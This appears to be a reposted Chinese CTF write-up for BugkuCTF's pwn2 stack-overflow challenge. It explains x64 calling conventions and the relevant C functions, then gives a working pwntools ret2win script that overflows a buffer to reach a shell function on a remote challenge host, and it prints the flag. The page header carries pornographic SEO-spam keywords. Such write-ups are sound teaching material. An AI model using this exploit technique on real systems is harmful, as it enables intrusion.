日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

BugkuCTF-PWN题pwn2-overflow超详细讲解

發布時間:2024/9/27 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BugkuCTF-PWN题pwn2-overflow超详细讲解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

解題思路

1)計算出get_shell_的地址偏移量
2)算出來之后就直接溢出到后門函數

知識點

x64函數調用規則

解題之前我們先學下linux x64的函數調用規則。
x64機器在調用某個函數前,比如int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他會把前6個參數從左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9,其余參數存入到棧里,保存的順序是從右往左入棧。比如abcdef會存入到寄存器里,然后一次入棧h、g。
保存完參數之后再把函數后面一條指令的地址入棧保存。
棧結構

上圖就是一個函數的棧結構,上面是棧頂,下面是棧底,棧頂是低地址,棧底是高地址,read函數往棧里寫數據是從棧頂往棧底寫入

棧頂指針(寄存器):rsp
棧底指針(幀指針):rbp

C語言知識點

memset
memset:可以方便的清空某個結構類型的變量或數組,作用是在一段內存塊里填充某個給定的值,它是對較大的結構體或數組進行清零操作的一類最快方法,為string.h頭文件里的函數,按字節對內存塊進行初始操作
例:memset(buffer, 0, sizeof(buffer)) 給buffer清出一個sizeof(buffer)大小的空間,填充0,做數組初始操作工作。

setvbuf
為什么要使用setvbuf函數
如果你的內存足夠大,可以把文件IO的BUF設置大一些,這樣每次你用
fopen/fread/fwrite/fscanf/fprintf語句的時候,都會在內存里操作,減少內存到磁盤IO讀寫的操作次數,提高系統效率。
如果你的程序的功能涉及到類似數據庫、視頻、音頻、圖像處理等大量需要爆發式磁盤到內存的IO情況下,可以考慮setvbuf進行優化內存IO。
功 能: 把緩區與流相關

puts()
puts()函數用來向標準輸出設備屏幕輸出字符串并換行。
具體是把字符串輸出到屏幕上,將‘\0’轉換為回車換行。調用方式是:puts(str)。其里str是字符串數組名或者字符串指針。實際上,數組名就是指針。
puts() 輸出更簡潔、更方便。而且使用 puts() 函數連換行符 ‘\n’ 都省了,使用 puts() 顯示字符串時,系統會自動在其后添加一個換行符,也就是說
printf("%s\n", name);和:puts(name)是等價的

read():
函數原型: int read(int fd,void *buf,int len);
功能:用于讀取打開文件的內容
參數:int fd 為要讀取的文件
void *buf 為要將讀取的內容保存的緩沖區
int len 讀取文件的長度
返回值:返回實際讀取的字節數
read(0,&s,0x100uLL):讀取s這個變量0x100個字節,即從外部讀取0x100的數據到s里

解題流程

0、在Linux里打開文件,使用file命令查看文件類型

64位文件
checksec檢查保護情況

未開啟任何保護,嘗試運行一下

1、使用IDA 64 Pro打開文件
查看主函數

通過觀察這個程序的邏輯我們發現s這個變量申請了0x30個字節,但是下面read函數讀取了s這個變量0x100個字節,所以存在棧溢出。

然后發現在main函數下面有一個get_shell_函數,雙擊下去發現這個函數的地址是0x400751,先把這個地址記下來。

下面就是在gdb里打開pwn2,然后創建隨機字符,并運行。
發現RBP段的字符被填充為bAA1AAGA,再利用這個字符計算出偏移量。


然后根據偏移量寫出腳本就可以了

from pwn import * #io = process('./pwn2')io = remote("114.67.246.176", 18766) #remote()建立一個遠程連接,url或者ip作為地址,然后指明端口 payload = b'a' * (0x30 + 0x8) + p64(0x400751) #數據打包,即將整數值轉換為32位或者64位地址一樣的表示方式,p對應pack,打包 io.recvline("say something?\n") #recvline(keepends=True) : 接收到\n,keepends指定保留\n io.send(payload) #send(data) : 發送數據 io.interactive() #interactive() : 與shell交互

運行

得到flag{99kls08s6d5a73bcd}

創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的BugkuCTF-PWN题pwn2-overflow超详细讲解的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。